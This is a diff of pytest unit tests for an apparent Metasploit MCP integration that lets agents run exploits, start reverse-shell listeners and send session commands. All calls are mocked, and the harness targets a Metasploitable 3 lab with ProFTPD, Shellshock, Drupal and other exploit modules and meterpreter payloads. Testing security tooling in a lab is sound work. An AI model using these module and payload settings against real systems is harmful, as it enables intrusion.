MetasploitMCPClient("http://test-server:8085/") assert client.mcp_url == "http://test-server:8085" - + @pytest.mark.asyncio async def test_call_tool_success(self, client): - """Test successful tool call.""" - mock_response = MagicMock() - mock_response.status_code = 200 - mock_response.headers = {"content-type": "application/json"} - mock_response.json.return_value = { - "jsonrpc": "2.0", - "id": 1, - "result": { - "content": [ - {"type": "text", "text": "Success"} - ] - } - } - - with patch.object(client.client, 'post', new=AsyncMock(return_value=mock_response)) as mock_post: - result = await client.call_tool("test_tool", {"arg": "value"}) - - assert result["success"] is True - assert result["data"] == "Success" - - # Verify headers were sent - call_kwargs = mock_post.call_args.kwargs - assert "headers" in call_kwargs - assert call_kwargs["headers"]["Content-Type"] == "application/json" - assert call_kwargs["headers"]["Accept"] == "application/json, text/event-stream" - + """Test a successful tool call via the MCP client (tool.ainvoke).""" + mock_tool = MagicMock() + mock_tool.name = "test_tool" + mock_tool.ainvoke = AsyncMock(return_value="Success") + client._tools = [mock_tool] + + result = await client.call_tool("test_tool", {"arg": "value"}) + + assert result == {"success": True, "data": "Success"} + mock_tool.ainvoke.assert_awaited_once_with({"arg": "value"}) + + @pytest.mark.asyncio + async def test_call_tool_not_found(self, client): + """Test that calling an unknown tool raises.""" + client._tools = [] # no tools available + with pytest.raises(Exception, match="not found"): + await client.call_tool("missing_tool", {}) + @pytest.mark.asyncio async def test_call_tool_error(self, client): - """Test tool call with error response.""" - mock_response = MagicMock() - mock_response.json.return_value = { - "jsonrpc": "2.0", - "id": 1, - "error": { - "code": -1, - "message": "Tool failed" - } - } - - with patch.object(client.client, 'post', new=AsyncMock(return_value=mock_response)): - with pytest.raises(Exception, match="Tool call failed"): - await client.call_tool("test_tool", {}) - + """Test that an error raised during tool invocation propagates.""" + mock_tool = MagicMock() + mock_tool.name = "test_tool" + mock_tool.ainvoke = AsyncMock(side_effect=Exception("Tool failed")) + client._tools = [mock_tool] + + with pytest.raises(Exception, match="Tool failed"): + await client.call_tool("test_tool", {}) + @pytest.mark.asyncio async def test_run_exploit(self, client): - """Test run_exploit wrapper method.""" - with patch.object(client, 'call_tool', new=AsyncMock(return_value={"success": True})) as mock_call: + """Test run_exploit wrapper maps to the run_exploit tool.""" + with patch.object( + client, "call_tool", new=AsyncMock(return_value={"success": True}) + ) as mock_call: await client.run_exploit( - module="exploit/test", + module_name="exploit/test", options={"RHOSTS": "10.0.0.1"}, - payload="test/payload" + payload_name="test/payload", ) - - mock_call.assert_called_once_with("run_exploit", { - "module": "exploit/test", - "options": {"RHOSTS": "10.0.0.1"}, - "payload": "test/payload" - }) - + + mock_call.assert_called_once_with( + "run_exploit", + { + "module_name": "exploit/test", + "options": {"RHOSTS": "10.0.0.1"}, + "payload_name": "test/payload", + "run_as_job": False, + }, + ) + @pytest.mark.asyncio async def test_list_sessions(self, client): """Test list_sessions wrapper method.""" - with patch.object(client, 'call_tool', new=AsyncMock(return_value={"sessions": []})) as mock_call: + with patch.object( + client, "call_tool", new=AsyncMock(return_value={"sessions": []}) + ) as mock_call: await client.list_sessions() mock_call.assert_called_once_with("list_active_sessions", {}) - + @pytest.mark.asyncio async def test_send_session_command(self, client): """Test send_session_command wrapper method.""" - with patch.object(client, 'call_tool', new=AsyncMock(return_value={"output": "uid=0"})) as mock_call: + with patch.object( + client, "call_tool", new=AsyncMock(return_value={"output": "uid=0"}) + ) as mock_call: await client.send_session_command(session_id=1, command="id") - - mock_call.assert_called_once_with("send_session_command", { - "session_id": 1, - "command": "id" - }) - + + mock_call.assert_called_once_with( + "send_session_command", {"session_id": 1, "command": "id"} + ) + @pytest.mark.asyncio async def test_start_listener(self, client): - """Test start_listener wrapper method.""" - with patch.object(client, 'call_tool', new=AsyncMock(return_value={"job_id": 1})) as mock_call: + """Test start_listener wrapper maps to the start_listener tool.""" + with patch.object( + client, "call_tool", new=AsyncMock(return_value={"job_id": 1}) + ) as mock_call: await client.start_listener( - payload="linux/x86/meterpreter/reverse_tcp", - lhost="10.0.0.1", - lport=4444 + payload_type="linux/x86/meterpreter/reverse_tcp", lhost="10.0.0.1", lport=4444 + ) + + mock_call.assert_called_once_with( + "start_listener", + { + "payload_type": "linux/x86/meterpreter/reverse_tcp", + "lhost": "10.0.0.1", + "lport": 4444, + }, ) - - mock_call.assert_called_once_with("start_listener", { - "payload": "linux/x86/meterpreter/reverse_tcp", - "lhost": "10.0.0.1", - "lport": 4444 - }) class TestMetasploitable3TestHarness: """Test the main test harness.""" - + @pytest.fixture def harness(self): """Create a test harness instance.""" return Metasploitable3TestHarness( - target_ip="10.0.2.15", - lhost="10.0.2.4", - lport=4444, - mcp_url="http://test-server:8085" + target_ip="10.0.2.15", lhost="10.0.2.4", lport=4444, mcp_url="http://test-server:8085" ) - + def test_harness_initialization(self, harness): """Test harness initialization.""" assert harness.target_ip == "10.0.2.15" assert harness.lhost == "10.0.2.4" assert harness.lport == 4444 assert harness.results == [] - + def test_get_exploit_tests(self, harness): """Test getting exploit test definitions.""" tests = harness.get_exploit_tests() - + assert len(tests) > 0 assert all(isinstance(t, ExploitTest) for t in tests) - + # Check that all tests have target IP set for test in tests: assert test.options["RHOSTS"] == "10.0.2.15" assert test.options["LHOST"] == "10.0.2.4" assert test.options["LPORT"] == "4444" - + def test_exploit_tests_structure(self, harness): """Test that exploit tests have required fields.""" tests = harness.get_exploit_tests() - + for test in tests: assert test.name assert test.description @@ -256,19 +245,19 @@ def test_exploit_tests_structure(self, harness): assert test.payload assert isinstance(test.options, dict) assert "RHOSTS" in test.options - + def test_exploit_tests_coverage(self, harness): """Test that we cover key Metasploitable 3 exploits.""" tests = harness.get_exploit_tests() test_names = [t.name for t in tests] - + # Check for key exploits from the walkthrough assert any("proftpd" in name.lower() for name in test_names) assert any("apache" in name.lower() or "shellshock" in name.lower() for name in test_names) assert any("drupal" in name.lower() for name in test_names) assert any("phpmyadmin" in name.lower() for name in test_names) assert any("unreal" in name.lower() for name in test_names) - + @pytest.mark.asyncio async def test_run_single_test_success(self, harness): """Test running a single test successfully.""" @@ -277,27 +266,33 @@ async def test_run_single_test_success(self, harness): description="Test", module="exploit/test", payload="test/payload", - options={"RHOSTS": "10.0.0.1", "LHOST": "10.0.0.1", "LPORT": "4444"} + options={"RHOSTS": "10.0.0.1", "LHOST": "10.0.0.1", "LPORT": "4444"}, ) - + # Mock the MCP client methods - with patch.object(harness.mcp_client, 'run_exploit', new=AsyncMock( - return_value={"success": True, "data": "Session 1 opened"} - )): - with patch.object(harness.mcp_client, 'list_sessions', new=AsyncMock( - return_value={"success": True, "data": "Active sessions: 1"} - )): - with patch.object(harness.mcp_client, 'send_session_command', new=AsyncMock( - return_value={"success": True, "data": "uid=1000(testuser)"} - )): + with patch.object( + harness.mcp_client, + "run_exploit", + new=AsyncMock(return_value={"success": True, "data": "Session 1 opened"}), + ): + with patch.object( + harness.mcp_client, + "list_sessions", + new=AsyncMock(return_value={"success": True, "data": "Active sessions: 1"}), + ): + with patch.object( + harness.mcp_client, + "send_session_command", + new=AsyncMock(return_value={"success": True, "data": "uid=1000(testuser)"}), + ): result = await harness.run_single_test(test) - + assert isinstance(result, TestResult) assert result.test_name == "Test Exploit" assert result.success is True assert result.session_id == 1 assert result.duration_seconds > 0 - + @pytest.mark.asyncio async def test_run_single_test_failure(self, harness): """Test running a single test that fails.""" @@ -306,20 +301,22 @@ async def test_run_single_test_failure(self, harness): description="Test", module="exploit/test", payload="test/payload", - options={"RHOSTS": "10.0.0.1"} + options={"RHOSTS": "10.0.0.1"}, ) - + # Mock the MCP client to raise an exception - with patch.object(harness.mcp_client, 'run_exploit', new=AsyncMock( - side_effect=Exception("Connection failed") - )): + with patch.object( + harness.mcp_client, + "run_exploit", + new=AsyncMock(side_effect=Exception("Connection failed")), + ): result = await harness.run_single_test(test) - + assert isinstance(result, TestResult) assert result.success is False assert result.error == "Connection failed" assert result.session_id is None - + @pytest.mark.asyncio async def test_run_single_test_no_session(self, harness): """Test running a test that executes but doesn't create a session.""" @@ -328,107 +325,104 @@ async def test_run_single_test_no_session(self, harness): description="Test", module="exploit/test", payload="test/payload", - options={"RHOSTS": "10.0.0.1"} + options={"RHOSTS": "10.0.0.1"}, ) - - with patch.object(harness.mcp_client, 'run_exploit', new=AsyncMock( - return_value={"success": True, "data": "Exploit completed"} - )): - with patch.object(harness.mcp_client, 'list_sessions', new=AsyncMock( - return_value={"success": True, "data": "No active sessions"} - )): + + with patch.object( + harness.mcp_client, + "run_exploit", + new=AsyncMock(return_value={"success": True, "data": "Exploit completed"}), + ): + with patch.object( + harness.mcp_client, + "list_sessions", + new=AsyncMock(return_value={"success": True, "data": "No active sessions"}), + ): result = await harness.run_single_test(test) - + assert result.success is False assert result.error == "No session established" - + @pytest.mark.asyncio async def test_run_all_tests(self, harness): """Test running all tests.""" # Mock run_single_test to return success - mock_result = TestResult( - test_name="Test", - success=True, - session_id=1, - duration_seconds=1.0 - ) - - with patch.object(harness, 'run_single_test', new=AsyncMock(return_value=mock_result)): + mock_result = TestResult(test_name="Test", success=True, session_id=1, duration_seconds=1.0) + + with patch.object(harness, "run_single_test", new=AsyncMock(return_value=mock_result)): results = await harness.run_all_tests() - + assert len(results) > 0 assert all(isinstance(r, TestResult) for r in results) - + @pytest.mark.asyncio async def test_run_all_tests_stop_on_failure(self, harness): """Test that run_all_tests stops on failure when requested.""" call_count = 0 - + async def mock_run_test(test): nonlocal call_count call_count += 1 - + if call_count == 1: # First test succeeds return TestResult(test_name=test.name, success=True, duration_seconds=1.0) else: # Second test fails - return TestResult(test_name=test.name, success=False, error="Failed", duration_seconds=1.0) - - with patch.object(harness, 'run_single_test', side_effect=mock_run_test): + return TestResult( + test_name=test.name, success=False, error="Failed", duration_seconds=1.0 + ) + + with patch.object(harness, "run_single_test", side_effect=mock_run_test): results = await harness.run_all_tests(continue_on_failure=False) - + # Should have stopped after the failure assert call_count == 2 assert len(results) == 2 assert results[0].success is True assert results[1].success is False - - def test_print_summary(self, harness, capsys): - """Test printing test summary.""" + + def test_print_summary(self, harness, caplog): + """Test the test summary (emitted via the logging module).""" harness.results = [ TestResult(test_name="Test 1", success=True, session_id=1, duration_seconds=2.5), TestResult(test_name="Test 2", success=False, error="Failed", duration_seconds=1.5), TestResult(test_name="Test 3", success=True, session_id=2, duration_seconds=3.0), ] - - harness.print_summary() - - captured = capsys.readouterr() - assert "TEST SUMMARY" in captured.out - assert "Total Tests: 3" in captured.out - assert "Passed: 2" in captured.out - assert "Failed: 1" in captured.out - assert "Success Rate: 66.7%" in captured.out - + + with caplog.at_level(logging.INFO): + harness.print_summary() + + assert "TEST SUMMARY" in caplog.text + assert "Total Tests: 3" in caplog.text + assert "Passed: 2" in caplog.text + assert "Failed: 1" in caplog.text + assert "Success Rate: 66.7%" in caplog.text + @pytest.mark.asyncio async def test_cleanup(self, harness): """Test cleanup closes the MCP client.""" - with patch.object(harness.mcp_client, 'close', new=AsyncMock()) as mock_close: + with patch.object(harness.mcp_client, "close", new=AsyncMock()) as mock_close: await harness.cleanup() mock_close.assert_called_once() class TestSessionDetection: """Test session ID detection from exploit output.""" - + @pytest.mark.asyncio async def test_session_detection_various_formats(self): """Test detection of session IDs in various output formats.""" - harness = Metasploitable3TestHarness( - target_ip="10.0.0.1", - lhost="10.0.0.1", - lport=4444 - ) - + harness = Metasploitable3TestHarness(target_ip="10.0.0.1", lhost="10.0.0.1", lport=4444) + test = ExploitTest( name="Test", description="Test", module="exploit/test", payload="test/payload", - options={"RHOSTS": "10.0.0.1"} + options={"RHOSTS": "10.0.0.1"}, ) - + # Test different session output formats test_outputs = [ ("Meterpreter session 1 opened", 1), @@ -436,55 +430,55 @@ async def test_session_detection_various_formats(self): ("Session 42 opened", 42), ("* Meterpreter session 123 opened", 123), ] - + for output, expected_session_id in test_outputs: - with patch.object(harness.mcp_client, 'run_exploit', new=AsyncMock( - return_value={"success": True, "data": output} - )): - with patch.object(harness.mcp_client, 'list_sessions', new=AsyncMock( - return_value={"success": True} - )): - with patch.object(harness.mcp_client, 'send_session_command', new=AsyncMock( - return_value={"success": True, "data": "uid=0"} - )): + with patch.object( + harness.mcp_client, + "run_exploit", + new=AsyncMock(return_value={"success": True, "data": output}), + ): + with patch.object( + harness.mcp_client, + "list_sessions", + new=AsyncMock(return_value={"success": True}), + ): + with patch.object( + harness.mcp_client, + "send_session_command", + new=AsyncMock(return_value={"success": True, "data": "uid=0"}), + ): result = await harness.run_single_test(test) - - assert result.session_id == expected_session_id, f"Failed to detect session ID in: {output}" + + assert ( + result.session_id == expected_session_id + ), f"Failed to detect session ID in: {output}" class TestIntegrationScenarios: """Test realistic integration scenarios.""" - + @pytest.mark.asyncio async def test_proftpd_exploit_flow(self): """Test a complete ProFTPD exploit flow.""" - harness = Metasploitable3TestHarness( - target_ip="10.0.2.15", - lhost="10.0.2.4", - lport=4444 - ) - + harness = Metasploitable3TestHarness(target_ip="10.0.2.15", lhost="10.0.2.4", lport=4444) + tests = harness.get_exploit_tests() proftpd_test = next(t for t in tests if "proftpd" in t.name.lower()) - + # Verify test configuration assert proftpd_test.module == "exploit/unix/ftp/proftpd_modcopy_exec" assert proftpd_test.payload == "unix/reverse_perl" assert proftpd_test.options["RPORT"] == "80" assert proftpd_test.options["RPORT_FTP"] == "21" - + @pytest.mark.asyncio async def test_shellshock_exploit_flow(self): """Test a complete Shellshock exploit flow.""" - harness = Metasploitable3TestHarness( - target_ip="10.0.2.15", - lhost="10.0.2.4", - lport=4444 - ) - + harness = Metasploitable3TestHarness(target_ip="10.0.2.15", lhost="10.0.2.4", lport=4444) + tests = harness.get_exploit_tests() shellshock_test = next(t for t in tests if "shellshock" in t.name.lower()) - + # Verify test configuration assert shellshock_test.module == "exploit/multi/http/apache_mod_cgi_bash_env_exec" assert "meterpreter" in shellshock_test.payload @@ -493,40 +487,40 @@ async def test_shellshock_exploit_flow(self): class TestErrorHandling: """Test error handling scenarios.""" - + @pytest.mark.asyncio async def test_network_error_handling(self): """Test handling of network errors.""" client = MetasploitMCPClient("http://invalid-server:8085") - - with patch.object(client.client, 'post', side_effect=Exception("Network error")): + + with patch.object(client.client, "post", side_effect=Exception("Network error")): with pytest.raises(Exception, match="Network error"): await client.call_tool("test_tool", {}) - + @pytest.mark.asyncio async def test_invalid_json_response(self): - """Test handling of invalid JSON responses.""" + """Test that a decoding error raised during tool invocation propagates.""" client = MetasploitMCPClient("http://test-server:8085") - - mock_response = MagicMock() - mock_response.json.side_effect = json.JSONDecodeError("Invalid JSON", "", 0) - - with patch.object(client.client, 'post', new=AsyncMock(return_value=mock_response)): - with pytest.raises(json.JSONDecodeError): - await client.call_tool("test_tool", {}) - + + mock_tool = MagicMock() + mock_tool.name = "test_tool" + mock_tool.ainvoke = AsyncMock(side_effect=json.JSONDecodeError("Invalid JSON", "", 0)) + client._tools = [mock_tool] + + with pytest.raises(json.JSONDecodeError): + await client.call_tool("test_tool", {}) + @pytest.mark.asyncio async def test_timeout_handling(self): """Test handling of request timeouts.""" import httpx - + client = MetasploitMCPClient("http://test-server:8085") - - with patch.object(client.client, 'post', side_effect=httpx.TimeoutException("Timeout")): + + with patch.object(client.client, "post", side_effect=httpx.TimeoutException("Timeout")): with pytest.raises(Exception): await client.call_tool("test_tool", {}) if __name__ == "__main__": pytest.main([__file__, "-v"]) - diff --git a/tests/test_module_info.py b/tests/test_module_info.py index 2ab9998..0426b86 100644 --- a/tests/test_module_info.py +++ b/tests/test_module_info.py @@ -16,7 +16,7 @@ from typing import Dict, Any # Add the parent directory to the path to import metasploit_mcp.server as MetasploitMCP -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) # Create mock classes for MSF objects @@ -27,7 +27,7 @@ def __init__(self): self.sessions = Mock() self.jobs = Mock() self.consoles = Mock() - + def call(self, method, args): """Mock RPC call method.""" return {} @@ -44,261 +44,274 @@ class TestDescribeModule: def sample_module_info(self): """Sample module info response from MSF RPC.""" return { - 'name': 'ProFTPD 1.3.5 Mod_Copy Command Execution', - 'description': 'This module exploits the SITE CPFR/CPTO mod_copy commands in ProFTPD version 1.3.5.', - 'authors': ['Vadim Melihow', 'xistence '], - 'references': [ - ['CVE', '2015-3306'], - ['EDB', '36742'], - ['URL', 'http://bugs.proftpd.org/show_bug.cgi?id=4169'] + "name": "ProFTPD 1.3.5 Mod_Copy Command Execution", + "description": "This module exploits the SITE CPFR/CPTO mod_copy commands in ProFTPD version 1.3.5.", + "authors": ["Vadim Melihow", "xistence "], + "references": [ + ["CVE", "2015-3306"], + ["EDB", "36742"], + ["URL", "http://bugs.proftpd.org/show_bug.cgi?id=4169"], ], - 'platform': ['unix'], - 'arch': ['cmd'], - 'rank': 'excellent', - 'privileged': False, - 'disclosure_date': '2015-04-22', - 'default_target': 0, - 'targets': [['ProFTPD 1.3.5', {}]], - 'notes': { - 'Stability': ['CRASH_SAFE'], - 'Reliability': ['REPEATABLE_SESSION'], - 'SideEffects': ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS'] - } + "platform": ["unix"], + "arch": ["cmd"], + "rank": "excellent", + "privileged": False, + "disclosure_date": "2015-04-22", + "default_target": 0, + "targets": [["ProFTPD 1.3.5", {}]], + "notes": { + "Stability": ["CRASH_SAFE"], + "Reliability": ["REPEATABLE_SESSION"], + "SideEffects": ["ARTIFACTS_ON_DISK", "IOC_IN_LOGS"], + }, } @pytest.fixture def sample_options(self): """Sample module options response.""" return { - 'RHOSTS': { - 'type': 'address', - 'required': True, - 'default': None, - 'desc': 'The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html' + "RHOSTS": { + "type": "address", + "required": True, + "default": None, + "desc": "The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html", }, - 'RPORT': { - 'type': 'port', - 'required': True, - 'default': 80, - 'desc': 'HTTP port' + "RPORT": {"type": "port", "required": True, "default": 80, "desc": "HTTP port"}, + "RPORT_FTP": {"type": "port", "required": True, "default": 21, "desc": "FTP port"}, + "TARGETURI": { + "type": "string", + "required": True, + "default": "/", + "desc": "Base path to the website", }, - 'RPORT_FTP': { - 'type': 'port', - 'required': True, - 'default': 21, - 'desc': 'FTP port' + "SITEPATH": { + "type": "string", + "required": True, + "default": "/var/www", + "desc": "Absolute writable website path", }, - 'TARGETURI': { - 'type': 'string', - 'required': True, - 'default': '/', - 'desc': 'Base path to the website' - }, - 'SITEPATH': { - 'type': 'string', - 'required': True, - 'default': '/var/www', - 'desc': 'Absolute writable website path' - } } @pytest.mark.asyncio async def test_describe_module_success(self, sample_module_info, sample_options): """Test successful module description retrieval.""" from metasploit_mcp.server import describe_module - + mock_client = MockMsfRpcClient() + # Mock client.call to return different values based on the RPC method def mock_call(method, args): - if method == 'module.info': + if method == "module.info": return sample_module_info - elif method == 'module.options': + elif method == "module.options": return sample_options return {} + mock_client.call = Mock(side_effect=mock_call) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - result = await describe_module.fn('unix/ftp/proftpd_modcopy_exec', 'exploit') - - assert result['status'] == 'success' - assert result['name'] == 'ProFTPD 1.3.5 Mod_Copy Command Execution' - assert result['full_path'] == 'exploit/unix/ftp/proftpd_modcopy_exec' - assert 'RHOSTS' in result['options'] - assert result['options']['RHOSTS']['required'] is True - assert result['options']['RPORT']['default'] == 80 - assert len(result['references']) == 3 - assert result['notes']['stability'] == ['CRASH_SAFE'] - assert result['notes']['side_effects'] == ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS'] + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + result = await describe_module("unix/ftp/proftpd_modcopy_exec", "exploit") + + assert result["status"] == "success" + assert result["name"] == "ProFTPD 1.3.5 Mod_Copy Command Execution" + assert result["full_path"] == "exploit/unix/ftp/proftpd_modcopy_exec" + assert "RHOSTS" in result["options"] + assert result["options"]["RHOSTS"]["required"] is True + assert result["options"]["RPORT"]["default"] == 80 + assert len(result["references"]) == 3 + assert result["notes"]["stability"] == ["CRASH_SAFE"] + assert result["notes"]["side_effects"] == ["ARTIFACTS_ON_DISK", "IOC_IN_LOGS"] @pytest.mark.asyncio async def test_describe_module_with_full_path(self, sample_module_info, sample_options): """Test describe_module when full path is provided (exploit/...).""" from metasploit_mcp.server import describe_module - + mock_client = MockMsfRpcClient() + # Mock client.call to return different values based on the RPC method def mock_call(method, args): - if method == 'module.info': + if method == "module.info": return sample_module_info - elif method == 'module.options': + elif method == "module.options": return sample_options return {} + mock_client.call = Mock(side_effect=mock_call) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): # Provide full path with exploit/ prefix - result = await describe_module.fn('exploit/unix/ftp/proftpd_modcopy_exec', 'auxiliary') - + result = await describe_module("exploit/unix/ftp/proftpd_modcopy_exec", "auxiliary") + # Should extract type from path and use it - assert result['status'] == 'success' - assert result['full_path'] == 'exploit/unix/ftp/proftpd_modcopy_exec' + assert result["status"] == "success" + assert result["full_path"] == "exploit/unix/ftp/proftpd_modcopy_exec" @pytest.mark.asyncio async def test_describe_module_not_found(self): """Test describe_module when module is not found.""" from metasploit_mcp.server import describe_module, _find_similar_modules - + mock_client = MockMsfRpcClient() mock_client.call = Mock(return_value=False) - mock_client.modules.exploits = ['windows/smb/ms17_010_eternalblue'] - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - with patch('metasploit_mcp.server._find_similar_modules', new_callable=AsyncMock, return_value=[]): - result = await describe_module.fn('nonexistent/module', 'exploit') - - assert result['status'] == 'not_found' - assert 'not found' in result['message'].lower() - assert 'suggestions' in result + mock_client.modules.exploits = ["windows/smb/ms17_010_eternalblue"] + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + with patch( + "metasploit_mcp.server._find_similar_modules", + new_callable=AsyncMock, + return_value=[], + ): + result = await describe_module("nonexistent/module", "exploit") + + assert result["status"] == "not_found" + assert "not found" in result["message"].lower() + assert "suggestions" in result @pytest.mark.asyncio async def test_describe_module_error_response(self): """Test describe_module when MSF returns an error.""" from metasploit_mcp.server import describe_module - + mock_client = MockMsfRpcClient() - mock_client.call = Mock(return_value={ - 'error': True, - 'error_message': 'Invalid module', - 'error_class': 'Msf::RPC::Exception' - }) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - with patch('metasploit_mcp.server._find_similar_modules', new_callable=AsyncMock, return_value=[]): - result = await describe_module.fn('invalid/module', 'exploit') - - assert result['status'] == 'error' - assert 'Invalid module' in result['message'] + mock_client.call = Mock( + return_value={ + "error": True, + "error_message": "Invalid module", + "error_class": "Msf::RPC::Exception", + } + ) + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + with patch( + "metasploit_mcp.server._find_similar_modules", + new_callable=AsyncMock, + return_value=[], + ): + result = await describe_module("invalid/module", "exploit") + + assert result["status"] == "error" + assert "Invalid module" in result["message"] @pytest.mark.asyncio async def test_describe_module_timeout(self): """Test describe_module handles timeout gracefully.""" from metasploit_mcp.server import describe_module - + mock_client = MockMsfRpcClient() - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - with patch('asyncio.wait_for', side_effect=asyncio.TimeoutError()): - result = await describe_module.fn('some/module', 'exploit') - - assert result['status'] == 'error' - assert 'timeout' in result['message'].lower() + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + with patch("asyncio.wait_for", side_effect=asyncio.TimeoutError()): + result = await describe_module("some/module", "exploit") + + assert result["status"] == "error" + assert "timeout" in result["message"].lower() @pytest.mark.asyncio async def test_describe_module_auxiliary(self): """Test describe_module for auxiliary modules.""" from metasploit_mcp.server import describe_module - + aux_info = { - 'name': 'SMB Version Detection', - 'description': 'Displays version information about each SMB server.', - 'authors': ['Test Author'], - 'references': [], - 'platform': [], - 'arch': [], - 'rank': 'normal', + "name": "SMB Version Detection", + "description": "Displays version information about each SMB server.", + "authors": ["Test Author"], + "references": [], + "platform": [], + "arch": [], + "rank": "normal", } - - aux_options = { - 'RHOSTS': {'type': 'address', 'required': True, 'desc': 'Target hosts'} - } - + + aux_options = {"RHOSTS": {"type": "address", "required": True, "desc": "Target hosts"}} + mock_client = MockMsfRpcClient() + def mock_call(method, args): - if method == 'module.info': + if method == "module.info": return aux_info - elif method == 'module.options': + elif method == "module.options": return aux_options return {} + mock_client.call = Mock(side_effect=mock_call) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - result = await describe_module.fn('scanner/smb/smb_version', 'auxiliary') - - assert result['status'] == 'success' - assert result['full_path'] == 'auxiliary/scanner/smb/smb_version' + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + result = await describe_module("scanner/smb/smb_version", "auxiliary") + + assert result["status"] == "success" + assert result["full_path"] == "auxiliary/scanner/smb/smb_version" @pytest.mark.asyncio async def test_describe_module_payload(self): """Test describe_module for payload modules.""" from metasploit_mcp.server import describe_module - + payload_info = { - 'name': 'Linux Meterpreter Reverse TCP', - 'description': 'Inject the meterpreter server payload (stageless).', - 'authors': ['Test Author'], - 'references': [], - 'platform': ['linux'], - 'arch': ['x64'], + "name": "Linux Meterpreter Reverse TCP", + "description": "Inject the meterpreter server payload (stageless).", + "authors": ["Test Author"], + "references": [], + "platform": ["linux"], + "arch": ["x64"], } - + payload_options = { - 'LHOST': {'type': 'address', 'required': True, 'desc': 'Listen address'}, - 'LPORT': {'type': 'port', 'required': True, 'default': 4444, 'desc': 'Listen port'} + "LHOST": {"type": "address", "required": True, "desc": "Listen address"}, + "LPORT": {"type": "port", "required": True, "default": 4444, "desc": "Listen port"}, } - + mock_client = MockMsfRpcClient() + def mock_call(method, args): - if method == 'module.info': + if method == "module.info": return payload_info - elif method == 'module.options': + elif method == "module.options": return payload_options return {} + mock_client.call = Mock(side_effect=mock_call) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - result = await describe_module.fn('linux/x64/meterpreter_reverse_tcp', 'payload') - - assert result['status'] == 'success' - assert 'LHOST' in result['options'] - assert result['options']['LPORT']['default'] == 4444 + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + result = await describe_module("linux/x64/meterpreter_reverse_tcp", "payload") + + assert result["status"] == "success" + assert "LHOST" in result["options"] + assert result["options"]["LPORT"]["default"] == 4444 @pytest.mark.asyncio async def test_describe_module_options_parsing(self, sample_module_info): """Test that options are properly structured.""" from metasploit_mcp.server import describe_module - + test_options = { - 'SSL': {'type': 'bool', 'required': False, 'default': False, 'desc': 'Use SSL'}, - 'VERBOSE': {'type': 'bool', 'required': False, 'default': True, 'desc': 'Be verbose'}, - 'ACTION': {'type': 'enum', 'required': False, 'enums': ['CHECK', 'EXPLOIT'], 'desc': 'Action to take'} + "SSL": {"type": "bool", "required": False, "default": False, "desc": "Use SSL"}, + "VERBOSE": {"type": "bool", "required": False, "default": True, "desc": "Be verbose"}, + "ACTION": { + "type": "enum", + "required": False, + "enums": ["CHECK", "EXPLOIT"], + "desc": "Action to take", + }, } - + mock_client = MockMsfRpcClient() + def mock_call(method, args): - if method == 'module.info': + if method == "module.info": return sample_module_info - elif method == 'module.options': + elif method == "module.options": return test_options return {} + mock_client.call = Mock(side_effect=mock_call) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - result = await describe_module.fn('test/module', 'exploit') - - assert result['status'] == 'success' - assert result['options']['SSL']['type'] == 'bool' - assert result['options']['SSL']['required'] is False - assert result['options']['ACTION']['enums'] == ['CHECK', 'EXPLOIT'] + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + result = await describe_module("test/module", "exploit") + + assert result["status"] == "success" + assert result["options"]["SSL"]["type"] == "bool" + assert result["options"]["SSL"]["required"] is False + assert result["options"]["ACTION"]["enums"] == ["CHECK", "EXPLOIT"] class TestGetModuleDocumentation: @@ -309,14 +322,14 @@ def temp_docs_dir(self): """Create a temporary documentation directory structure.""" with tempfile.TemporaryDirectory() as tmpdir: docs_path = pathlib.Path(tmpdir) - + # Create directory structure - (docs_path / 'exploit' / 'unix' / 'ftp').mkdir(parents=True) - (docs_path / 'exploit' / 'windows' / 'smb').mkdir(parents=True) - (docs_path / 'auxiliary' / 'scanner' / 'http').mkdir(parents=True) - + (docs_path / "exploit" / "unix" / "ftp").mkdir(parents=True) + (docs_path / "exploit" / "windows" / "smb").mkdir(parents=True) + (docs_path / "auxiliary" / "scanner" / "http").mkdir(parents=True) + # Create sample documentation files - proftpd_doc = docs_path / 'exploit' / 'unix' / 'ftp' / 'proftpd_modcopy_exec.md' + proftpd_doc = docs_path / "exploit" / "unix" / "ftp" / "proftpd_modcopy_exec.md" proftpd_doc.write_text("""# ProFTPD mod_copy Command Execution ## Description @@ -345,9 +358,10 @@ def temp_docs_dir(self): msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run ``` """) - - eternalblue_doc = docs_path / 'exploit' / 'windows' / 'smb' / 'ms17_010_eternalblue.md' - eternalblue_doc.write_text("""# MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption + + eternalblue_doc = docs_path / "exploit" / "windows" / "smb" / "ms17_010_eternalblue.md" + eternalblue_doc.write_text( + """# MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption ## Description @@ -357,99 +371,100 @@ def temp_docs_dir(self): - **RHOSTS** - Target IP address - **RPORT** - Target port (default: 445) -""") - - http_version_doc = docs_path / 'auxiliary' / 'scanner' / 'http' / 'http_version.md' +""" + ) + + http_version_doc = docs_path / "auxiliary" / "scanner" / "http" / "http_version.md" http_version_doc.write_text("""# HTTP Version Scanner Displays version information about target HTTP servers. """) - + yield docs_path @pytest.mark.asyncio async def test_get_documentation_success(self, temp_docs_dir): """Test successful documentation retrieval.""" from metasploit_mcp.server import 